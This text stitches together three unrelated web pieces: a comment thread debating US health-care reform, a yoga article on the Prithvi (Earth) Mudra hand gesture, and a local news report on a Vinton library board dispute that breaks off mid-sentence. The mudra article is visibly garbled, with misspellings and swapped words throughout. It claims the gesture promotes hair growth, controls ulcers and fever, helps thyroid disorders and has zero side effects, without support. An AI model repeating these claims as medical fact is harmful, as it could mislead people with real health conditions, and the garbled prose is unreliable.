stake. It may result in just ther opposite. You are 100% correct on best practices, treatment variations, interoperable electronic medical records, and living wills. And I’d go a step further with automatic no-codes for people 90 and over. >>> “6. Eliminate the jury system in favor of special health courts to resolve medical disputes in a fairer, more objective, less capricious manner.” Doctors should be tried by their peers, not the patients’. A three-doctor panel would get my vote, with punitive awards going into the single-payer fund rather than the patient’s and attorney’s pockets. >>> “Absolutely none of these approaches is about denying patients needed care.” Bite your tongue on this one, because a $1000 deductible will indeed result in patients not seeking care (even with your subside). You are not correct on your latter statement. Canadians are saying “we know it will require higher taxes, but we prefer that to waiting times; and we surely prefer that to the American system.” It is the for-profit interests who are lobbying parliarment to cut funding so they can erode support for their system. But Peter is the Canadian among us and better equipped to answer that. Peter, My preferred strategies for controlling utilization include the following: 1. A meaningful deductible of at least $1,000 for an individual and $2,500 for a family with 100% payment above that point. I think this is reasonable for the upper half of the income distribution that can well afford to pay for routine care out of pocket. For the lower half of the income spectrum, I would provide sliding scale subsidies to help them cover the deductible. 2. Pricing and quality transparency so doctors, who drive virtually all healthcare spending, can know who the most cost-effective hospitals, imaging centers, and specialists are and what the most cost-effective drugs are. It would be nice for patients to have this information too, but it would be most important for doctors to have it in an easily useable and accessible format. 3. Attempt to spread best practices to reduce the current wide variance between the high utilizers and the best practicers in managing many medical conditions. Also within hospitals, more widespread sharing of information about strategies to reduce infection rates. 4. Interoperable electronic medical records. When multiple doctors are involved in a patient’s care, especially in a hospital setting, interoperable electronic records could help to sharply reduce or even eliminate duplicate testing and adverse drug interactions. 5. Make executing a living will and advance medical directive a requirement of insurance so providers know what care the patient wants and doesn’t want in end of life situations. 6. Eliminate the jury system in favor of special health courts to resolve medical disputes in a fairer, more objective, less capricious manner. Hopefully, this could significantly erode the culture of defensive medicine among doctors. Absolutely none of these approaches is about denying patients needed care. They are about allocating resources more wisely, sensibly and efficiently. The Canadian global budget approach is implicit rationing by restricting supply. Canadian citizens may well be much more tolerant of such a system than Americans would be. The reason that Canadians and other national systems use this approach is because they know there is a limit to how much they can extract from their people in taxes while demand for healthcare when it is not a financial transaction at the point of service is potentially infinite. But hey, administrative costs are low. >>>”Jack and other single payer advocates grossly overestimate the savings to be had from eliminating insurer profits, marketing costs, broker fees, etc. and never offer any ideas to control utilization.” Barry, I’m not sure what you mean by controlling utilization? Do you mean sick people should be restricted from seeking treatment? Do you mean sick people should have to exhaust most or all of any assets/savings before they have access to affordable care? Single pay utilization in Canada is done by setting strict hospital budgets and setting/negotiating doc fees and reimbursements. This is done under a system where NO financial transaction takes place between doc/hosptial/patient. This has led to wait times (seemingly accepatable by 80% of Canadians) and adjustments to federal cost transfers and provincial budgets to reduce wait times in specific problem areas -all with a eye on cost containment. The argument in the U.S. is an argument about cost. This country is NOT controlling costs. So far every provider player in the discussion only wants to focus on ways to bring more dollars into the system from payers so that THEY won’t be hurt. Where is the shared pain in any of these “solutions”? The problem, Barry, is not whether profits are a big part or a small part, it’s that they are a part and should not be. It is hard to be just a little bit greedy. And I have indeed offered controls for overutilization by proposing reinstatement of the certificate of need and the many rules that Medicare had in place to prevent self-referrals by physicians, especially when they were referring patients to their own lab for expensive echocardiograms, ultrasounds and CT scans. My clinic now has its own MRI service, and I’m sure they make handsome profits from it. PNHP has good reason to oppose co-pays and deductibles: they too often deter care until the patient is in dire need and when the cost of that delayed care is multiples higher than had they moved forward with it earlier. I could live with co-pays and deductibles, but because I know full well that we will eventually smarten up and eliminate them. PNHP has taken that position up front. I absolutely agree with you on the Medicare opt-in. And being just four days out of the hospital for a knee replacement, I’ll let you know as soon as I get their bill. But even if what you say is true, it is a damned sight better than whatever else is out there. I might also add that they did not rsh me out of there. I had to convince them that I could handle going home a day early.. I agree with this. I also note that in Massachusetts, where the health insurance market is dominated by non-profits, the initial bids for a so-called affordable policy are averaging about $380 per month for single coverage as compared to $200 that former Governor Romney spoke about and the legislature expected. Jack and other single payer advocates grossly overestimate the savings to be had from eliminating insurer profits, marketing costs, broker fees, etc. and never offer any ideas to control utilization. Indeed, Physicians for a National Health Plan (PHNP) does not even think healthcare should be a financial transaction at the point of service (no co-pays or deductibles). I say again, let Medicare offer its insurance policy to everyone who wants it in competition with for profit and not for profit insurers. Medicare should have to charge rates high enough to break even from their premium revenue alone while states could subsidize the premium for low income residents. It is also important to note that Medicare, which Jack claims to be so satisfied with, has a $900 deductible for each hospitalization and a 20% co-pay for all other services with no out of pocket maximum. This is why most seniors buy Medicare supplemental insurance policies, often at a cost of more than $200 per month, since those co-pays can add up in a hurry for people with multiple conditions. jd, I’ve heard too frequently from physicians that they had to fight with some low-level clerk to get a test approved for a patient in managed care. Perhaps that doesn’t occur in the plans you work with, but these horror stories are real. I consider the term managed competition much like compassionate conservatism; they are both oxymorons. Whenever you have a profit motive and executives like Wm McGuire, who would rather see patient money not going to patent care, the incentive is to reduce needed care. Managed care cannot function without placing the insurer between the doctor and patient. These companies can play a role as Medicare administrators but I would not want them calling the shots on a loved one. I agree with you on best-practices and alignment of incentives, as long as that alignment is toward the patient. >>> “1. There is also an incentive for government-as-insurer to deny care that comes from budget constraints. Rationing is not avoidable. Profit is not the motive, lower taxes are.” That’s why any single-payer system must be managed by an independent health care commission set up much like the Federal Reserve Board, with directors serving 14 year stagged terms. Most services will fit within a reasonable budget and other non-standard services can be dealt with via the private market, until they are proven legitimate. >>> “2. Physicians in a FFS system have incentives to supply too much care, and the wrong kind of care.” I could not agree with you more on this issue. The FFS system has some rather perverse incentives. I believe physicians should be paid very well, but not on the basis of how many tests they order or don’t order. That is one of the drawbacks of the Medicare system and why it needs more oversight. I reccommend a salary system much like they have in the VA and armed forces services, but that is hard to implement when physicians become partners in ownership of clinics. Jack, You’re certainly right that marketing costs would disappear. So would broker fees (a non-trivial component of admin SG&A expenses). Incidentally, these expenses would be reduced in a Massachusetts-style system in which the Health Connector provides a central clearing house for health insurance and information. Broker fees for small businesses could be eliminated on the health plan side. The claim that the problem with managed care is the incentive not to provide services they get paid to provide is like the claim that health insurers have vast profits: it is a significant exaggeration of the facts. Remember the fact that net margins are only around 5%? That means that health plans are pricing pretty much where they have to. Even if you think they’re too stingy on denials, etc., if they were less stingy they’d just have to raise prices in the current environment. Yes, in a better environment we could get rid of some of the admin costs, but my point is that with the market the way it is health plans are NOT as a rule being greedy, but are pricing in line with health care cost increases, and always have. The underwriting cycle provides some movement in premiums above and below the medical cost trend, but never more than a few percentage points, and never for long. The data on this are extremely clear. It’s one of the things about which I think there is no room for disagreement once you see the data on medical cost trends vs. premium trends. Sometimes I think even Matt doesn’t get this one.. By the way, there is are two correlaries to the statement about managed care having an incentive to deny care: 1. There is also an incentive for government-as-insurer to deny care that comes from budget constraints. Rationing is not avoidable. Profit is not the motive, lower taxes are. 2. Physicians in a FFS system have incentives to supply too much care, and the wrong kind of care. To put it more starkly: they have an incentive for their patients to be sick, because then there are billable events. What kind of a healthcare industry is it that rewards most those providers who are inefficient at treatment and poor at prevention? There was an article on this in the NYTimes just today. I know you have written extensively on the last point yourself. But JD, regardless of its net profit of 5%, managed care also has marketing costs that would disappear under a single payer system, and the problem with managed care is the incentive to not provide services they get paid to provide. If they had to abide by all rules of Medicare, I wouldn’t be as concerned. And you are absolutely correct about Parma profits, but that’s a story for a different day. Jack, you say “government protection of insurance company mega-profits should not be on the list of needed reforms.” Despite what everyone thinks they know, profit in the health insurance industry is small compared to most other industries. Big pharma has historically made net margins of around 20%. Likewise investment banking and the oil industry. In contrast to these true robber barons, managed care has historically made net margins of around 5%. And I would remind you that historically health insurance was offered primarily by the non-profit blues and even today more than half of Americans get their health insurance from a non-profit organization (the government or a non-profit insurer). So “mega” profits of insurers have never been a big problem, though I agree with you that there is no compelling reason why there should be for-profit health insurance. Non-profit works just fine, and there is evidence that it is associated with somewhat higher quality care. But in the big picture, it’s all the other screwed up incentives to over-provide, under-provide and fragment care that are the real problems. Either way, it is far easier to move to a universal system that uses health insurers than one that does away with them. This is universal healthcare 1.0, coming soon to a state near you. Universal healthcare 2.0 might look more like the system you want, but I think the only way we’ll get there is through 1.0, which is some version of the Massachusetts model.. Bush’s plan does not discuss cost control. If insurance companies get to charge whatever they want for premiums, fewer and fewer individuals, employed or otherwise, will not be able to afford coverage. I would love to see what Mr. Lohman suggests come to fruition, but I don’t think insurance companies will get abolished any time soon. I do think it is high time that health insurance became regulated, and that a cap be put on premiums/out-of-pocket expenses based on a person’s income. I was also somewhat put off by Bush’s discussion of “basic” plans versus “gold-plated” plans, since what that seems to come down to are plans that provide the actual coverage a person needs versus the new proliferations of plans that have low premiums but could easily put you into bankruptcy over one major illness. I don’t think it’s selfish to want affordable coverage that actually protects you and your interests if you get sick. > employers are natural pools of insurance risk No, employer pools are unnatural pools of insurance risk. They are popular for reasons of tax treatment as you say, but an employer group is also easy to market to, and is considered unlikely to experience significant adverse selection problems: it is difficult to become employed somewhere simply in order to have a particularly favorable insurance benefit. Not that it doesn’t or can’t happen. > Young workers are essentially cross-subsidizing > their older and sicker colleagues. In a sense, but this is precicely what makes an employer group an unnatural insurance risk pool. In a “natural” pool of insurance risk, nobody cross-subsidizes anybody because everyone faces similar uncertaity about the future — in other words, risk. > the underwritten individual market (is) a market place > where pooling risk is a dirty word. “Social Insurance” and “Insurance” are not the same thing — they’re not even similar. Although the society in question is much smaller than we might like, Employer Groups are akin to “Social Insurance” because the risks faced by the members are markedly different. The the underwritten individual market represents plain-old “Insurance”. We need a new vocabulary. The terms as we have them cause great confusion that I must admit is effectively used by activists, but I don’t think it is ever admirable to get one’s way through confusion. t Of all of our health care problems, government protection of insurance company mega-profits should not be on the list of needed reforms. But that apparently won’t stop President Bush, who is now proposing an annual $7500 single and $15,000 family tax credit for citizens who are either unemployed or whose employer has dumped their health insurance. This would enable them to purchase insurance directly from the insurance company to help them retain their profits. Bush also made another plug for health savings accounts, for which Wall Street, the credit card industry and bankruptcy attorneys will forever be in his debt. Tax credits are not the answer. We should be providing health care directly to the patient, not through third-party insurance companies. But don’t tell that to the politicians. Follow the money. These are taxpayer assets being given to the insurance industry for non healthcare services — when instead, the insurance industry shouldn’t be getting a penny of our health care dollars. Much of their services are an unnecessary part of the system and largely dispensable. They consume 20% of health care dollars yet provide absolutely zero health care benefits to the patient. That’s a terrible waste. We should totally eliminate these unnecessary costs that are consumed by marketing, broker commissions, huge executive salaries, and corporate profits. None of these would exist under a single-payer system like Canada’s. With a strong political will we could mimic their system and simultaneously extend health care to 100% of the public, and we’d spend the same amount of dollars we are spending to cover 85% of the people today. And we can do it without Canada’s wait times! The money saved would be spent on more doctors and more nurses to serve more patients.

(Earth Mudra) Prithvi Mudra Meaning and its Benefits for Hair Growth Weight believe Earth Mudra or Prithvi Mudra Benefits Nowadays, the practice of yoga means asanas and breathing practices to many. In this article, we wil try to understand in depth about Prithvi Mudra or Earth Mudra, a subtler element of Yoga Vigyan (Yoga Science) along with its meaning and Prithvi Mudra Benefits. Yoga is not only constricted to the Pranayama (Breathing Exercise) and Asanas (Postures). Stil, there is a leser-known, more detailed branch of yoga: Yog Tatva Mudra Vigyan or the science of yoga mudras. The Science of Yoga mudra is al dependent on the Pancha Bhota or Pancha Maha-Bhota. Pancha Maha-Bhota or five physical elements is a group of five esential elements, which, acording to Vedas, is the basis of al universal creation. These five elements are: Prithvi/Bhudevi (Earth) Apas/Varuna/Jal (Water), Agni (Fire), Vayu (Air), Aakasha/Dyaus (Aether) Acording to Ayurveda and Yoga, the human body is considered to be made up of these five elements. Pancha Bhotas are conected with the overal wel-being of the human being. Any dysfunction or sicknes in the human body indicates an imbalance of one or more of these elements. Yoga Tatva Mudra Vijnana asociates these five elements to five fingers of a human being. As our fingers acquire the characteristic of these elements, and each of these five elements has a specific and esential function inside the body. The use of Mudras adjusts the flow of energy – afecting the balance of air, fire, water, earth, ether Diferent Mudras were developed to balance these in the human body, which forms the Ha sta Mudra in yogic tradition and is also used in Naturopathy. In ancient times, the sages worn to perform yoga mudras to kep the five elements inside the body balanced with air, water, fire, earth, and sky. Here we wil try to understand what is Prithvi Mudra? and benefits of Prithvi mudra, and how to cary out it and its side efects also. Prithvi Mudra Meaning Before understanding the meaning of the Prithvi Mudra first, let’s try to know a few esential points about Yog Tatva Mudra Vigyan. Acording to Mudra Vigyan, every finger of the hand represents one of the Pancha Bhota. Here Thumb represents the Fire element, Index Finger is asociated with the Air element, Midle Finger is linked with Aether or spot element, Ring finger and pinky Finger represents the Earth element and Water el ement, respectively. Prithvi Mudra is a practical kind of Mudra. What is Prithvi Mudra? Prithvi Mudra is a abstract Gesture of hands made by joining the tips of the ring fingers with the tips of thumb. The ring finger denotes the Earth element, whereas the thumb represents the Fire element. Thus Prithvi Mudra or Earth Mudra is practiced to increase the Prithvi (Earth) Element in the Body. Prithvi Mudra is a Sanskrit word. In Sanskrit, ‘Prithvi‘ means ‘Earth,’ and ‘Mudra,’ refers to ‘Gesture,’ ‘Seal,’ or ‘mark.’ So in English, Prithvi mudra is termed as the ‘Gesture of the Earth.’ Often Prithvi Mudra is practiced as a fragment of therapeutic yoga sequences in yoga practi ce or in Ayurveda to promote healing and mental stability within the body by balancing the disorder caused by the Prithvi Element and it is also practiced as a portion of meditation. For the preparation of this mudra, the thumb and ring fingers of both the hands are used. Other names of Prithvi mudra In Prithvi Mudra, Earth and Fire element plays a prominent role as Earth Mudra is formed by Thumb and Ring or Anamika finger, which is asociated with Fire and Earth elements, respectively. Acording to Yoga Mudra Vigyan, in this mudra the action of Prithvi, i.e., Earth element is Dominant over the Agni, i.e., Fire element. So by this nature of Mudra, it is also named Prithvi-Vardhak Mudra. Prithvi-Vardhak is a Sanskrit synonym-3 where ‘Prithvi‘ means ‘Earth‘ and ‘Vardhak‘ Means ‘Increasing.’ So Prithvi-Vardhak Mudra means Prithvi increasing Mudra or Earth increasing Mudra. As Prithvi is dominant, which means Agni is Inferior. So by this property of Earth Mudra, it is named Agni-Shamak Mudra. It is also a Sanskrit word where ‘Shamak‘ signifies ‘Extinguisher,’ or ‘Reducer.’ Thus, Agni-Shamak Mudra means ‘Fire reducing Mudra.’ How to cary out Prithvi Mudra? Here are some typical steps that wil define how to execute Prithvi Mudra: Sit in comfortable Posture: Meditation postures adore Padmasana, Swastikasana, Sidhasana, etc. are marvelous for the practice of mudras. Properly place your hands: Now, while siting in a comfortable posture, asign the hands with the palms facing upwards on the thighs or above the knes. Form the Mudra: Now slowly fold your ring finger and tap the tip of the ring finger or Anamika finger to the tip of the thumb with diminutive presure. And try to hold the rest of the thre fingers extended and straight as much as posible. Be sides, it should be done with both hands simultaneously. Maintain the Mudra: Try to acquire the Mudra for a minimum of five to ten minutes. Wel, Practising Prithvi Mudra or Mudra of Earth is very easy, unlike other yoga mudras or asanas that require right preparation, practice, and determination. Though it is quite easy to perform but it is esential to know and learn the true technique to perform any Yog Mudra. Complementary medicine or Alternate Medicine is only efective after you have mastered the art of practicing the technique perfectly and precisely. It is a prety typical yogic hand gesture that is performed by the ring finger and thumb. Firstly, you acquire to bring the ring finger and the thumb closer. Efect of Earth Mudra on Body Prithvi mudra benefits the body in two ways, i.e., it works on the body as Prithvi-Vardhak (Earth Increasing) and similarly as Agni-Shamak (Fire Reducing). Hence, the practice of this Mudra is useful to increase the earth element and moderate the fire element within the body. We can perform this Mudra either to increase/ balance Prithvi (Earth) element or to quel the Agni (fire) in the body. Thus this Mudra helps to exterminate chronic weaknes, general debility, convalescence, lack of stamina Energy, Inexplicable weight-los, and emaciation. Prithvi-Vardhak impres of Mudra Prithvi-vardhak mudra strengthens or increases the Prithvi (earth) element within the body. The element earth is an esential ingredient of bodily tisues like bones, cartilage, nails, skin, hair, muscles, flesh, internal organs , etc. and is also crucial for the Vitamins the body. The practice of Prithvi-vardhak mudra builds and invigorates these tisues and maintains the Vitamins in the body as the earth is the mother source of al-natural Minerals and Vitamins. The earth element is also conected with the nose (smel). Therefore, Prithvi-vardhak mudra can be practiced to overcome or to cure nasal dysfunctions. Aditionaly, the earth element is also related to the bodily humor Kapha. The practice of Prithvi-vardhak mudra strengthens the Kapha humor in the body. Agni-Shamak imprint of this mudra The element Agni (fire) is eager with body-temperature and metabolism. Thus Agni-Shamak Mudra reduces the fire. Therefore it can be old to s othe an overactive Agni and overcome ailments of Agni-exces adore inflamation, anorexia, fever, etc. The element fire is also responsible for bodily humor Pita. Therefore, Agni-Shamak mudra is an god mudra for people with active Pita nature. When to enact Prithvi Mudra? After knowing how to enact Prithvi Mudra, a query that apears in most of our minds is that when should we practice this Mudra so that we can maintain maximum benefits out of it. The best time to enact any yoga practice, Pranayama and Yoga Mudra is in the early morning and evening. One thing we should remember that to acquire maximum benefits from Prithvi Mudra or any Yog mudra, we must perform it on an empty stomach. So Early morning and evening is the ideal time to perform this Mudra. But of lofty, practicing it is not restricted only in the morning and evening, we can practice it any time of the day while watching T.V., listening to music. Etc. But try to practice it on an empty stomach siting in any meditative posture to gain maximum earth mudra benefits. To acquire more Spiritual as wel as physical benefits, try to perform Mudra of the earth early in the morning betwen 4 A.M. to 6 A.M. while performing Meditation or chanting any Vedic Mantra. How much time should I do Earth Mudra? Try to practice this Mudra at least 10 min a day, in the morning before breakfast or in the evening before diner. But Shastras and Yoga experts signify practicing any yoga mudra for thirty to forty minutes. So try to practice Prithvi mudra for 30 minutes a day. If you are unable to practice it for thirty to forty minutes, try to practice it for ten to fiften minutes twice or thrice a day. If you are not sufering from any significant health isue, it is enough to practice it for 10 minutes. But if you are facing any Prithvi-related health isues, then you acquire to practice it for the recomended time of 30 to 40 minutes to believe benefits as son as posible. Thus the more you spend time and practice, the faster you get the results and quicker your quandary wil be solved. Prithvi Mudra Benefits There are lots of benefits of practicing this fantastic yoga mudra. One of the core purposes of Earth mudra is to increase the content of vitality i.e., to improve the earth element in the body. Folowing are the Prithvi Mudra Benefits: Promotes hair growth. Helps in Weight gain. Reduces Heat from the body. Increases Energy and Endurance. Bosts Spiritual Stability. Helps to Balance Kapha Dosha The ring finger dilapidated while performing Mudra of Earth is the symbol of the Earth element that takes care of the skin, hair, nails, muscles, tendons, internal organs, parts in the body. Thus the earth element is the acme component for tisue growth. The Major benefit that we get from Prithvi mudra is the balancing of the earth element within the body. And the other benefits that we get are the result of the balanced earth element. Now let’s se each benefit in more detail. - Prithvi Mudra for Hair Growth Prithvi Mudra for Hair Growth No mater how healthy and lustrous your hair may be, hair tople wil undoubtedly be a point of concern at some point in life. Sadly, hair los and thining are becoming one of the most como n problems we as a generation face today. Since ages, this Mudra is used along with Yoga for hair growth and to improve hair qualities. Most of the hair problems are the result of the sinful scalp. Thus Prithvi mudra helps to balance the Earth element. The Earth element is responsible for creating and nurturing the hair and hair folicle. Hence practicing mudra of earth, in turn, enhances the quality of hair by strengthening them and making them masive and shiny. It wil enhance the health of the scalp, which strengthens your hair folicles and, in turn, prevents hair drop or premature greying and regeneration of hair. Along with this mudra, you can also practice Balayam Yoga or Nail Rubing Exercise for Natural Hair Growth. - Prithvi Mudra for Weight have and Weight Los Prithvi Mudra for Wei ght maintain and Weight Los Prithvi Mudra can be useful for both weight los as wel as weight have. But this Mudra is more beneficial for weight gain. Generaly, weight have is due to an increase in muscle mas, corpulent deposits, exces fluids such as water, or due to disturbed body’s metabolism. Majority times, the increase in weight is due to the rise in muscle mas or due to metabolism. We know that Earth mudra is responsible for the nurturing and foundation of body muscles and tendons, and it also helps to maintain the body’s metabolism. Thus Mudra of earth plays a substantial role in controling the weight of the body. It helps to sustain the body’s weight by regulating the body’s muscle weight as wel as metabolism. Hence higher the metabolism and lower the muscle weight, the higher wil be the los in weight. On the other hand, the lower the metabolism and higher the muscle weight, the leser wil be the los of weight. Also, you can grasp P rithvi Mudra during Pranayama to lose weight. Therefore we can explain Prithvi mudra is beneficial for Weight los as wel as weight gain. Moreover, Prithvi mudra aditionaly helps in keping a strong check on the digestion and also reduces cholesterol. - Earth Mudra for Heat and Ulcers Earth Mudra for Heat and Ulcers Mudra of Earth not only increases the earth element in the body, but it is also aged to reduce the Agni fire element from the body. As we know, the earth element is also known for its colnes; thus Agni-Shamak mark of this mudra is beneficial to reduce the exces heat from the body. The regular practice of Prithvi Mudra helps to maintain the body’s temperature. This further reduces most of the problems caused by the heat. Hence Prithvi mudra is suitable to establish the ulcers in control. It is also helpful for those sufering from fe ver. Even Burning sensation in the eyes, stomach acidity, hands, or fet is pacified. - Prithvi Mudra Increases Energy and Endurance Prithvi Mudra Increases Energy and Endurance Prithvi Mudra is asociated with the Muladhara Chakra or the Rot chakra. Practicing Earth mudra elevates the prana level upwards from rot Muladhara. This section, we wil se in the Spiritual benefits of Prithvi Mudra. Thus With the practice of Mudra of Earth, the energy level in the body is improved, which results in warding of dizines, fatigue, and lazines. It helps in building endurance when the physical body gets energized. If an individual regularly practices this mudra, then he or she can asist to improve the strength of the body and helps to suport the body stable. Aditionaly, Earth Mudra helps to strengthen the self-confidence of the in dividual. - Spiritual benefits of Prithvi mudra Spiritual benefits of Prithvi mudra Prithvi mudra has a lot of spiritual benefits. Earth mudra is related to the earth element, which is asociated with the Muladhara Chakra. As Earth mudra balances the earth within which stimulates and energizes of Muladhara Chakra or Rot chakra, which is the seat of Kundalini Energy. Muladhara is considered the basis of the “Energy Body.” Thus practicing this mudra increases the Prana flow upward quickly from the coarse of the spine, thereby stimulating the nerves and sustaining the acurate balance within the body. The practice of Prithvi Mudra wil ensure the stimulation and activation of this chakra, with the targeted activation of the Muladhara or rot chakra, we are anchored and strengthened in our core trust. Hence, because of this, meditation becomes more comfortable, and also we can practice this mudra as part of meditation. After practicing earth mudra with meditation, we wil fel relaxed and energized. Ultimately, this practice can sucor us in depening the meditation practices by drawing ourselves inwards and slowly leading to a beter spiritual experience. - Helps to balance Khapa dosha Helps to balance Khapa dosha Kapha forms in the body when Water and Earth elements met. Thus lower earth elements can cause a decrease or imbalance in the Kapha level in the body. So practicing Earth mudra increases earth element in the body, which eventualy helps to balance the Kapha in the body. Kapha dosha helps in controling muscle growth, weight, body strength and stability, and your imune system. This mudra increases the Earth element in the body, which increases the prerogative of the body, which fights various types of diseases. Other Prithvi Mudra Benefits Practicing Prithvi mudra for skin is also beneficial. The element Prithvi makes the skin-tight, smoth, and glowing. If you want smoth skin finish visit Tips for Smoth Body. Earth mudra helps to increase the vitamins and minerals in the body as the earth is the storehouse of these important minerals and vitamins. It helps to subdue al physical weaknes. It makes the body and mind more stable and concentrated. Asists overactive thyroid/hypothyroidism as Prithvi mudra is beneficial for controling the body weight. You can also try Ujayi Pranayama along with this mudra to subdue thyroid-related problems. It enhances emotions such as love, compasion, tolerance, and joy Who Should Avoid Practising Mudra of Earth? Prithvi mudra can slightly increase body weight, so this mudra should be practiced by individuals who are overweight under the observation of yoga teachers or experts. Those who believe an exces of Kapha in their bodies should avoid practicing this mudra as it can further increase Kapha in the body. People who believe Ast hma should try to avoid this mudra. Prithvi Mudra Side Efects Undoubtedly, touching your thumb and ring finger wil not cause you any problems. Thus Prithvi Mudra has Zero Side Efects. Practicing Earth Mudra or any Yoga Mudra does not lead you to health problems or any disorder for sure. Prithvi mudra is considered to be a very beneficial yoga mudra, but if performed in a wrong way, the Mudra does believe a few side efects. If not done corectly it is posible that you may hold a eroneous mudra posibly Agni mudra or Surya Mudra, which has oposite efects from Earth Mudra. Surya Mudra or Agni mudra is similar to earth Mudra because in this Mudra also thumb and ring finger is worn but in a diferent way. So check the Image below before practicing Prithvi Mudra. Also, people having asthma and high Khapa should try to avoid doing this Mudra or should be done under the supervision of yoga Experts. A W ord of Caution Be careful while performing Mudra of earth, mistakenly you may catch diferent Mudra most probably Agni Mudra. Don’t forget to kep very slight presure betwen the fingers. If you acquire asthma or any breathing-related isue, then practice this Mudra carefuly. Try to perform this Mudra on an empty stomach by siting in any meditative posture. Kep your hand light don’t put any underscore because that can lead to disturbance of energy while practicing. Conclusion Prithvi Mudra is a Sanskrit synonym-3. In English, it is termed as the ‘Gesture of the Earth. Earth Mudra is a practical kind of Mudra. In Prithvi Mudra, Earth, and Fire element plays a obvious role as Earth Mudra is formed by Thumb and Ring or Anamika finger, which is asociated with Fire and Earth elements, respectively. Prithvi Mudra or Earth mudra is also known as Prithvi-Vardhak Mudra and Agni-Shamak Mudra. There are lots of benefits of practi cing this fantastic yoga mudra. One of the core purposes of Earth mudra is to increase the content of vitality i.e., to improve the earth element in the body. Prithvi Mudra is one of the best Mudra. Don’t forget to practice this wonderful Mudra and get numerous health benefits. Also, share this article on Prithvi Mudra Benefits with your close ones and friends to believe the benefits of this fantastic yoga mudra. Thanks For Visiting Vedic Yoga Ayurveda Namaste! Jai Hind! Prithvi mudra FAQ. Can we finish mudras after eating? It can be practiced at any time after or before eating. There is not any arduous and rapid. Which Mudra is best for hair growth? Prithvi Mudra is very beneficial for hair growth. Prithvi mudra helps to balance the Earth element. The Earth element is responsible for creating and nurturing the hair and hair folicle. Can we cary out mudras after eating? It can be practiced at any time after or before eating. There is not any exhausting) and hasty rule to practice Mudra. But practicing Yoga Mudra empty stomach is more beneficial as it wil enhance the proces of Energy flow. Can we do mudras after eating? It can be practiced at any time after or before eating. There is not any wearisome and hasty. Sharing is caring ?

Two Vinton residents stood in front of the Vinton Library board representing others from the town. Brooke Kruckenberg and Deb Hesson presented requests to the Vinton Public Library in both March and April, respectively. The two asked that the library consider the books that are made into displays and also requested publication of the upcoming books that would be used in the weekly Storytime. The Library Board decided in May to reject both of the above requests. The first request made to the library board was to consider adding books to the displays in the children's section. Books have been arriving on the shelves concerning children's sexuality, and the two women had requested that books encouraging a traditional heterosexual lifestyle also be included in these displays. Displays are the books shown on top of the bookshelves, on tables, or Facebook posts. The request was made requesting a balance for traditional lifestyles that children could also consider. This request was rejected because the board deemed this request to be censorship. The board then went into a discussion about the number of books on the shelves. Others did a search of the children's section and said that there were seven books addressing children's sexuality in the children's section of the library at the time. A tally of how many books concerning Christian, Republican, Liberal, and other topics were available on the shelves was shared, with zero being reported for children that discuss the heterosexual lifestyle. At May's meeting, the board again circled back on the topic of books and doubled down. One member even suggested that especially on the topic of religious books aka Christian books (according to the count given) that perhaps the library should remove books and others added because the library is "heavily weighted" in some directions. The requests made did not concern books on the shelves but rather the books being placed on display. There was little discussion on this topic. The second request was made for the library to release the book titles that are intended to be used for storytime. Citizens that Hesson was representing wanted to have a sort of calendar of topics for upcoming storytimes. Citing an example of the library giving details of an upcoming storytime, she shared that from February until June that the Library website gives very general program details, unlike the April 12 program. This announcement stated "Special Storytime by Library for the Blind. Denise Bean, Youth services librarian from the Iowa Library for the Blind and Print Disabled, will lead an interactive storytime for children of all abilities!" Hesson reiterated that the only thing being requested are book titles and the presenter. A quick search shows that on the library website for a May Storytime, there will be one with the topic of bubbles that the Library is currently announcing. One of the board members said, "The gist or the impression I was left with was that community members might want to know who the guest speakers are so that they can determine if that guest speaker or guest reader aligns with their values. How much research are they going to do on a potential guest speaker to decide if that person is in alignment with their personal values?" The library board decided that storytime agendas will not be released to the public because there is fear again of "censoring" from the public. One member spoke out in favor of releasing the topics ahead of time as a way to publicize the events and a way of drawing more attendees to storytime. Library Director Renee Greenlee stated that if you want to know the upcoming books that will be shared that you could contact her the Friday before and she would respond. If you would like to do so, the email address is: [email protected] Greenlee was recently recognized with an "I love my Librarian" award by American Library Association. Nominated for her work as a children's librarian at the Marion Public Library, she was recognized for "making a deep impact on the Marion area with her programming efforts including the city's first Pride event." In a press release about the nominations it reads in part, "With help from community partners, Renee also helped facilitate Marion's first Pride event, which featured a Pride parade around the library, a drag queen story time, a panel with local LGBTQIA+ agencies and more..." In Greenlee's acceptance of the award, she said, "We don't do what we do for the glory, or the money, Rather we just do what needs to be done. We recognize and seek out the inequalities, the needs and wants of the people in our communities and libraries. We figure out what needs to happen to meet those needs and reduce those inequities, and we just do it." Threat of Legal Action In March the requests brought in the April meeting were met with a strong response from Greenlee, which included the threat of legal action saying that the previous presentation bordered on harassment. Because Kruckenberg brought the concerns to the board and said, "I've observed the direction of our public library heading over the past couple of years. I am not here to ask you to remove anyone from their staffing positions," she said, , (and) Facebook posts. I am not asking that any books be banned or even removed from the library." In response Greenlee said that voicing this perception of the behavior or sexuality of the employees by Krukenburg or any other patron of the library from now on would result in legal action as it would be considered "hate speech." Greenlee cited the "Civil Rights Protections Against Employment Discrimination Based on Sexual Orientation or Gender Identity as a basis for this. Geenlee went on to say that when Kruckenberg said that she was not asking for anyone to be removed, it was instead a "veiled statement" that demonstrated otherwise. She continued, "I have instructed my staff to immediately let me know if they feel unsafe, threatened, harassed, or discriminated against by a library patron so I can handle the situation as effectively as possible." She also said, "it is my job to make sure discriminatory comments, such as those in Ms. Kruckenberg's statement, don't happen again." The Board's Role (According to their website) Krukenberg had reminded the board of their obligations to all patrons by reading from the Vinton Public Library's website. The board is tasked with "making sure the community's needs and interests are paramount when making board decisions", and should "determine whether the community is satisfied with the service received from the library", and "regularly evaluates the director to make sure the library operates well and in the best interest of those the library serves." Board Considers adding "harassing or discriminating language" to By-Laws A continuation of the discussion about amending the board's by-laws went into the May meeting. The board addressed updating their by-laws for public comments by amending Section 3. H. to include the words, "harassing or discriminating language." The new wording would say, "3.H. All meetings are open to members of the public who wish to observe. Non-board members who wish to address the board should request a place on the agenda no later than 24 hours before the time established for the meeting. The request can be directed to the president, secretary or the director. The public comment forum would be limited to 30 minutes total with a three minute time limit for each speaker. The board will listen to comments but will not respond to or discuss with the speaker afterward. If the comment necessitates a response, this will come at a later time after the board of directors has had an opportunity to discuss the issue in a subsequent board meeting. Though public comments are welcome, at no time is it appropriate to use profane, obscene or slanderous language, nor any harassing or discriminating comments." There was a discussion that the (highlighted above) language would be subjective to interpretation. Citing free speech laws, members discussed whether residents have the right to express their thoughts to the board. Some members cited free speech and others said that you can't say "just anything" in the context of public comments but you can do that on a street corner, but not in the library board meeting. A 